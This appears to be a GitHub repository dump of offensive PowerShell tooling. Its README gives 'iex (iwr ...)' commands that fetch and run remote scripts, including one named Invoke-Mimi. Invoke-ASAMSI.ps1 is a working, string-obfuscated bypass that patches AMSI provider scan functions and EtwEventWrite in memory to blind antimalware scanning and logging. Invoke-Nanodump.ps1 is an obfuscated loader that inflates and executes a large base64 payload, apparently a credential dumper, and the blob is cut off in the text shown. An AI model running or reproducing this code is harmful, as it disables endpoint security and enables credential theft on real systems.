├── README.md ├── Invoke-ASAMSI.ps1 └── Invoke-Nanodump.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-ASAMSI 2 | 3 | # Instructions 4 | 5 | ``` 6 | 7 | ```iex (iwr -UseBasicParsing https://raw.githubusercontent.com/ASP4RUX/Invoke-AMSI/refs/heads/main/Invoke-ASAMSI.ps1) 8 | 9 | ```Invoke-ASAMSI -etw -v 10 | 11 | ```iex (iwr -UseBasicParsing https://raw.githubusercontent.com/ASP4RUX/Invoke-AMSI/refs/heads/main/Invoke-Mimi.ps1) 12 | -------------------------------------------------------------------------------- /Invoke-ASAMSI.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-ASAMSI { 2 | param 3 | ( 4 | 5 | [Parameter(ParameterSetName = 'Interface', 6 | Mandatory = $false, 7 | Position = 0)] 8 | [switch] 9 | $v, 10 | 11 | [Parameter(ParameterSetName = 'Interface', 12 | Mandatory = $false, 13 | Position = 0)] 14 | [switch] 15 | $etw 16 | ) 17 | 18 | # Verbose 19 | if ($v) { 20 | $VerbosePreference="Continue" 21 | } 22 | 23 | ### Function based by Matt Graeber, Twitter: @mattifestation ### 24 | 25 | # Obtaining the address of a Winapi function using native functions with Reflection 26 | function Get-Function 27 | { 28 | Param( 29 | [string] $module, 30 | [string] $4msiInittion 31 | ) 32 | $moduleHandle = $GetModule.Invoke($null, @($module)) 33 | $tmpPtr = New-Object IntPtr 34 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $moduleHandle) 35 | $GetAddres.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $4msiInittion)) 36 | } 37 | 38 | # Get a delegate to be able to call Winapi functions with your address 39 | function Get-Delegate 40 | { 41 | Param ( 42 | [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, 43 | [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, 44 | [Parameter(Position = 2)] [Type] $retType = [Void] 45 | ) 46 | $type = [AppDomain]::("Curren" + "tDomain").DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 47 | DefineDynamicModule('QM', $false). 48 | DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 49 | $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') 50 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') 51 | $delegate = $type.CreateType() 52 | $marshalClass::("GetDelegate" +"ForFunctionPointer")($funcAddr, $delegate) 53 | } 54 | 55 | Write-host "[*] Patching 4MSI" -ForegroundColor Cyan 56 | # Add WinForms assembly required 57 | try { 58 | Add-Type -AssemblyName System.Windows.Forms 59 | } 60 | catch { 61 | Throw "[!] Failed to add WinForms assembly" 62 | } 63 | 64 | $marshalClass = [System.Runtime.InteropServices.Marshal] 65 | 66 | # Obtain native methods 67 | $unsafeMethodsType = [Windows.Forms.Form].Assembly.GetType('System.Windows.Forms.UnsafeNativeMethods') 68 | 69 | # Strings "obfuscated" in ASCII bytes 70 | $bytesGetProc = [Byte[]](0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73) 71 | $bytesGetMod = [Byte[]](0x47, 0x65, 0x74, 0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65) 72 | 73 | # Get strings from ASCII bytes 74 | $GetProc = [System.Text.Encoding]::ASCII.GetString($bytesGetProc) 75 | $GetMod = [System.Text.Encoding]::ASCII.GetString($bytesGetMod) 76 | 77 | # Get GetModule address using native methods 78 | $GetModule = $unsafeMethodsType.GetMethod($GetMod) 79 | if ($GetModule -eq $null) { 80 | Throw "[!] Error getting the $GetMod address" 81 | } 82 | Write-Verbose "[*] Handle of ${GetMod}: $($GetModule.MethodHandle.Value)" 83 | 84 | # Get GetAddres address using native methods 85 | $GetAddres = $unsafeMethodsType.GetMethod($GetProc) 86 | if ($GetAddres -eq $null) { 87 | Throw "[!] Error getting the $GetProc address" 88 | } 89 | Write-Verbose "[*] Handle of ${GetProc}: $($GetAddres.MethodHandle.Value)" 90 | 91 | # "Same" technique as above 92 | $bytes4msiInit = [Byte[]](0x41, 0x6D, 0x73, 0x69, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65) 93 | $bytes4msi = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) 94 | $4msi = [System.Text.Encoding]::ASCII.GetString($bytes4msi) 95 | $4msiInit = [System.Text.Encoding]::ASCII.GetString($bytes4msiInit) 96 | 97 | # Obtain the respective address from 4msi 98 | $4msiAddr = Get-Function $4msi $4msiInit 99 | if ($4msiAddr -eq $null) { 100 | Throw "[!] Error getting the $4msiInit address" 101 | } 102 | Write-Verbose "[*] Handle of ${4msiInit}: $4msiAddr" 103 | 104 | ### Patch method based by Maor Korkos (@maorkor) ### 105 | 106 | Write-Verbose "[*] Getting $4msiInit delegate" 107 | 108 | # We obtain the length in bytes of IntPtr. with this we will define variables depending if our PowerShell is 32 or 64 bits. 109 | # For 64 bits IntPtr is usually 8 bytes long. 110 | # For 32 bits IntPtr is usually 4 bytes long. 111 | $PtrSize = $marshalClass::SizeOf([Type][IntPtr]) 112 | if ($PtrSize -eq 8) { 113 | $Initialize = Get-Delegate $4msiAddr @([string], [UInt64].MakeByRefType()) ([Int]) 114 | [Int64]$ctx = 0 115 | } else { 116 | $Initialize = Get-Delegate $4msiAddr @([string], [IntPtr].MakeByRefType()) ([Int]) 117 | $ctx = 0 118 | } 119 | 120 | # A little obfuscation 121 | $replace = 'Virt' + 'ualProtec' 122 | $name = '{0}{1}' -f $replace, 't' 123 | 124 | # Get VtProtect Address 125 | $protectAddr = Get-Function ("ker{0}.dll" -f "nel32") $name 126 | if ($protectAddr -eq $null) { 127 | Throw "[!] Error getting the $name address" 128 | } 129 | Write-Verbose "[*] Handle of ${name}: $protectAddr" 130 | 131 | # We obtain its delegate to be able to “invoke” or “call” the function 132 | $protect = Get-Delegate $protectAddr @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]) 133 | Write-Verbose "[*] Getting $name delegate" 134 | 135 | # Declare varaibles 136 | $PAGE_EXECUTE_WRITECOPY = 0x00000080 137 | $patch = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3) 138 | $p = 0; $i = 0 139 | 140 | Write-Verbose "[*] Calling $4msiInit to recieve a new AMS1 Context" 141 | if ($Initialize.Invoke("Scanner", [ref]$ctx) -ne 0) { 142 | if ($ctx -eq 0) { 143 | Write-Host "[!] No provider found" -ForegroundColor Red 144 | return 145 | } else { 146 | Throw "[!] Error call $4msiInit" 147 | } 148 | } 149 | Write-host "[*] AMS1 context: $ctx" -ForegroundColor Cyan 150 | 151 | # Find the AntiMalwareProviders list in CAmsiAntimalware 152 | if ($PtrSize -eq 8) { 153 | $CAmsiAntimalware = $marshalClass::ReadInt64([IntPtr]$ctx, 16) 154 | $AntimalwareProvider = $marshalClass::ReadInt64([IntPtr]$CAmsiAntimalware, 64) 155 | } else { 156 | $CAmsiAntimalware = $marshalClass::ReadInt32($ctx+8) 157 | $AntimalwareProvider = $marshalClass::ReadInt32($CAmsiAntimalware+36) 158 | } 159 | 160 | # Loop provders 161 | Write-Verbose "[*] Patching all the providers" 162 | while ($AntimalwareProvider -ne 0) 163 | { 164 | 165 | # Find the provider's Scan function according to Powershell architecture 166 | if ($PtrSize -eq 8) { 167 | $AntimalwareProviderVtbl = $marshalClass::ReadInt64([IntPtr]$AntimalwareProvider) 168 | $AmsiProviderScanFunc = $marshalClass::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24) 169 | } else { 170 | $AntimalwareProviderVtbl = $marshalClass::ReadInt32($AntimalwareProvider) 171 | $AmsiProviderScanFunc = $marshalClass::ReadInt32($AntimalwareProviderVtbl + 12) 172 | } 173 | 174 | # We change the protection to be able to make the patch 175 | Write-Verbose "[*] Changing address $AmsiProviderScanFunc permissions to PAGE_EXECUTE_WRITECOPY" 176 | Write-host "[$i] Provider's scan function found: $AmsiProviderScanFunc" -ForegroundColor Cyan 177 | if (!$protect.Invoke($AmsiProviderScanFunc, [uint32]6, $PAGE_EXECUTE_WRITECOPY, [ref]$p)) { 178 | Throw "[!] Error changing the permissions of provider: $AmsiProviderScanFunc" 179 | } 180 | 181 | # Copy the bytes of the patch to the respective function 182 | try { 183 | $marshalClass::Copy($patch, 0, [IntPtr]$AmsiProviderScanFunc, 6) 184 | } 185 | catch { 186 | Throw "[!] Error writing patch in address: $AmsiProviderScanFunc" 187 | } 188 | 189 | # We check if the function has the patch bytes 190 | for ($x = 0; $x -lt $patch.Length; $x++) { 191 | $byteValue = $marshalClass::ReadByte([IntPtr]::Add($AmsiProviderScanFunc, $x)) 192 | if ($byteValue -ne $patch[$x]) { 193 | Throw "[!] Error when patching in the address: $AmsiProviderScanFunc" 194 | } 195 | } 196 | 197 | Write-Verbose "[*] Restoring original memory protection" 198 | if (!$protect.Invoke($AmsiProviderScanFunc, [uint32]6, $p, [ref]$p)) { 199 | Throw "[!] Failed to restore memory protection of provider: $AmsiProviderScanFunc" 200 | } 201 | 202 | $i++ 203 | 204 | # We obtain the following provider if it exists 205 | if ($PtrSize -eq 8) { 206 | $AntimalwareProvider = $marshalClass::ReadInt64([IntPtr]$CAmsiAntimalware, 64 + ($i*$PtrSize)) 207 | } else { 208 | $AntimalwareProvider = $marshalClass::ReadInt32($CAmsiAntimalware+36 + ($i*$PtrSize)) 209 | } 210 | } 211 | 212 | if ($etw) { 213 | # Same methodology as for the 4MSI bypass 214 | Write-host "[*] Patching ETW" -ForegroundColor Cyan 215 | $etwFunc = [System.Text.Encoding]::ASCII.GetString([Byte[]](0x45, 0x74, 0x77, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x57, 0x72, 0x69, 0x74, 0x65)) 216 | 217 | $etwAddr = Get-Function ("nt{0}.dll" -f "dll") $etwFunc 218 | Write-Verbose "[*] Handle of ${etwFunc}: $etwAddr" 219 | if ($etwAddr -eq $null) { 220 | Throw "[!] Error getting the $etwFunc address" 221 | } 222 | 223 | Write-Verbose "[*] Changing $etwFunc permissions to PAGE_EXECUTE_WRITECOPY" 224 | if (!$protect.Invoke($etwAddr, 1, $PAGE_EXECUTE_WRITECOPY, [ref]$p)) { 225 | Throw "[!] Error changing the permissions $etwFunc" 226 | } 227 | 228 | try { 229 | # RET patch, the function when called only returns 230 | if ($PtrSize -eq 8) { 231 | $marshalClass::WriteByte($etwAddr, 0xC3) 232 | } else { 233 | $patch = [byte[]] (0xb8, 0xff, 0x55) 234 | $marshalClass::Copy($patch, 0, [IntPtr]$etwAddr, 3) 235 | } 236 | } 237 | catch { 238 | Throw "[!] Error writing patch $etwFunc" 239 | } 240 | 241 | Write-Verbose "[*] Restoring original memory protection" 242 | if (!$protect.Invoke($etwAddr, 1, $p, [ref]$p)) { 243 | Throw "[!] Failed to restore memory protection of $etwFunc" 244 | } 245 | if ($PtrSize -eq 8) { 246 | $byteValue = $marshalClass::ReadByte([IntPtr]::Add($etwAddr, 0)) 247 | if ($byteValue -ne 0xc3) { 248 | Throw "[!] Error when patching $etwFunc" 249 | } 250 | } else { 251 | for ($x = 0; $x -lt 3; $x++) { 252 | $byteValue = $marshalClass::ReadByte([IntPtr]::Add($etwAddr, $x)) 253 | if ($byteValue -ne $patch[$x]) { 254 | Throw "[!] Error when patching $etwFunc" 255 | } 256 | } 257 | } 258 | 259 | Write-Host "[*] Successful ETW patching" -ForegroundColor Green 260 | } 261 | 262 | Write-Host "[*] Successful providers patching, 4MSI patched" -ForegroundColor Green 263 | } 264 | -------------------------------------------------------------------------------- /Invoke-Nanodump.ps1: -------------------------------------------------------------------------------- 1 | $c ="Defla" + "teStream";$b = "Compre" + "ssion"; $a ="Strea" + "mReader"; .("i"+"ex") $(New-Object IO.$a ($(New-Object IO.$b.$c ($(New-Object IO.MemoryStream(,$([Convert]::("FromB" +"ase6" + "4String")("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